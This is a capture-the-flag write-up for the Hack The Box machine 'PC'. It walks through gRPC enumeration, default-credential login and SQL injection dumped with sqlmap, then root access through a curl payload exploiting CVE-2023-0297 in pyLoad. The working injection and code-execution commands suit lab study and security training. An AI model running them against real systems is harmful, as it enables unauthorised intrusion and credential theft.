HTB: PC - Easy

Note

This is an older box I completed with limited documentation at the time. While my notes aren’t extensive, I’ll share my approach to solving this interesting machine.

Enumeration

I initiated enumeration with a full port scan: nmap -sV -p- 10.129.170.40

Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-09 09:57 CEST  
Nmap scan report for 10.129.170.40  
Host is up (0.023s latency).  
Not shown: 65533 filtered tcp ports (no-response)  
PORT      STATE SERVICE VERSION  
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)  
| ssh-hostkey:   
|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)  
|   256 8486a6e204abdff71d456ccf395809de (ECDSA)  
|_  256 1aa89572515e8e3cf180f542fd0a281c (ED25519)  
50051/tcp open  unknown

The scan revealed port 50051 was open. Research indicated this port is commonly used for gRPC, Google’s Remote Procedure Call framework.

Exploitation

While researching gRPC, I found a relevant security article at https://medium.com/@ibm_ptc_security/grpc-security-series-part-3-c92f3b687dd9. This contains information on how to use it.

# List available services
grpcurl -plaintext <htbmachine>:50051 list

# Launch the web interface
grpcui -plaintext <htbmachine>:50051

After accessing the gRPC web interface, I successfully authenticated using default credentials admin:admin, which returned an ID token.

While exploring the gRPC web UI, I tested for SQL injection vulnerabilities using the ' character. The result looked like this:

Stole this image from https://medium.com/@ardian.danny/hackthebox-pc-writeup-49bbe9035449

After confirming SQL injection vulnerability, I launched sqlmap with these commands:

sqlmap -r req.txt --batch --thread=10 --level=5 --risk=3 --dbs
sqlmap -r req3.txt --batch --thread=10 --level=5 --risk=3 -D 'SQLite' --tables
sqlmap -r req3.txt --batch --thread=10 --level=5 --risk=3 -D 'SQLite' -T 'accounts' --columns
sqlmap -r req3.txt --batch --thread=10 --level=5 --risk=3 -D 'SQLite' -T 'accounts' -C 'password' --dump

From the sqlmap results, I discovered credentials for user sau with password H***1

Using the discovered credentials, I established an SSH connection: ssh sau@ip

Privilege Escalation

After gaining initial access, I ran linpeas for privilege escalation enumeration. The scan identified a potential vulnerability matching CVE-2023-0297, with a proof of concept available at https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad.

The following exploit was used to escalate privileges to root:

curl -i -s -k -X $'POST'     --data-binary $'jk=pyimport%20os;os.system(\"cat%20/root/root.txt%20>/home/sau/pwned.txt");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa'     $'http://127.0.0.1:8000/flash/addcrypted2'

And revealed the root flag:

sau@pc:~$ cat pwned.txt   
afe***32